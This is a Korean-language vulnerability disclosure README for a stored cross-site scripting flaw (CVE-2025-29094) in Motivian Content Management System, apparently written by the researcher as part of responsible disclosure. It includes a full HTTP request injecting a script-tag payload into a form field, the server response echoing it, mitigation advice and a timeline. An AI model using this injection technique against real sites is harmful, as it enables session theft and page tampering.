framarcuccio/cve-2025-29094-multiple-stored-cross-site-scripting-xss이 저장소는 Motivian Content Management System v.41.0.0에서 발견된 보안 취약점을 공개합니다.
이 저장소는 Motivian Content Management System v.41.0.0에서 발견된 보안 취약점을 공개합니다.
이 취약점은 책임 있는 공개(responsible disclosure) 관행에 따라 공급업체에 보고되었으며, 임시 CVE ID를 배정한 MITRE에도 보고되었습니다. 세부 사항은 45일 공개 기간이 만료된 후 공개됩니다.
Marketing/Forms, Marketing/Offers, Content/PagesMotivian Content Mangment System v.41.0.0의 크로스사이트 스크립팅(XSS) 취약점으로 인해 원격 공격자가 Marketing/Forms, Marketing/Offers, Content/Pages 구성 요소를 통해 임의 코드를 실행할 수 있습니다. 이 취약점은 Marketing/Form 및 Marketing/Offers의 제목(title) 필드와 Content/Pages의 header script 필드를 포함한 다양한 필드에 악성 JavaScript 코드를 삽입하여 악용되었습니다.
이 취약점은 여러 구성 요소의 다양한 필드를 통해 악용될 수 있습니다. 데모 목적으로 다음 개념 증명은 특정 시나리오에 초점을 맞춥니다:
Marketing/Forms 섹션으로 이동하여 새 form 요소를 생성합니다.다음은 문제를 시연하는 데 사용된 HTTP 요청 및 응답의 전체 기록입니다:
POST /portal/admin/formbuilder/editCmsFormProps!saveForm.action HTTP/1.1
Host: [REDACTED]
Content-Length: 1362
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: [REDACTED]
Connection: close
targetFieldId=&targetFormId=&targetFieldIndex=&openedTabProps=tab1&langSelected=it&form.id=1162&search_form_id=&search_form_status_id=&search_form_name=&search_form_description=&date_from=&date_to=¤tPage=&struts.token.name=EditCmsFormProps&EditCmsFormProps=DBFW4RH1O9SVF1J3J9TA0WSD5VHPJCKY&date_notification=&form.seoName_en=&form.seoName_el=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&[...]
HTTP/1.1 200 OK
Connection: close
Date: Wed, 05 Feb 2025 12:00:09 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: it-IT
Content-Length: 94593
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head> <title>MOTIVIAN | Content Management</title> <link rel="shortcut icon" type="image/x-icon" href="/portal/favicon.ico"/> <link rel="icon" type="image/x-icon" href="/portal/favicon.ico"/> <script> <a href="javascript:void(0)" class="sortingRow" onclick="javascript:simplePagesFormDoSort('status','asc')" >Status</a></td> <td class="TableHeader" colspan="9" style="width:188px">Management</td> <td class="TableHeader w10"> </td> </tr> </table> </td> </tr> <tr> <td class="w10 row_odd"> </td> <td class="w70 row_odd"> <div class="check-box w70" style="float:left"> <input type="checkbox" id="subpages_formIds_id_1162" name="formIds" value="1162"> <label for="subpages_formIds_id_1162">1162 </label> </div> </td> <td class="w40 row_odd"><img src="https://raw.githubusercontent.com/framarcuccio/cve-2025-29094-multiple-stored-cross-site-scripting-xss/HEAD/portal/assets/images/red_form.png"/></td> <td class="NameCol row_odd"> <div class="wrap_words_within_rows w155"><script>alert(document.domain)</script> [...]
모든 사용자 입력을 삭제(sanitize)하고 렌더링 전에 출력을 이스케이프하세요. XSS 위험을 완화하려면 CSP(Content Security Policy) 헤더를 구현하세요.
| 날짜 | 조치 |
|---|---|
| 2025-02-06 | CVE ID 요청 (CNA: MITRE) |
| 2025-04-02 | CVE ID 배정 |
| 2025-04-07 | 공급업체에 취약점 보고 |
발견 및 책임 있는 공개:
Francesco Marcuccio
사이버보안 컨설턴트, 침투 테스터
MITRE 발견자 표기:
Francesco Marcuccio
사이버보안 컨설턴트, 침투 테스터
이 CVE ID는 공식적으로 PUBLISHED 상태입니다. 분석 후 NIST가 CVSS 점수로 업데이트할 예정입니다.
| 2025-05-31 |
| 45일 공개 기간 만료 후 공개 (총 54일) |
| 2025-06-04 | MITRE 데이터베이스 및 NIST/NVD 포털에 공식 등록 및 입력 |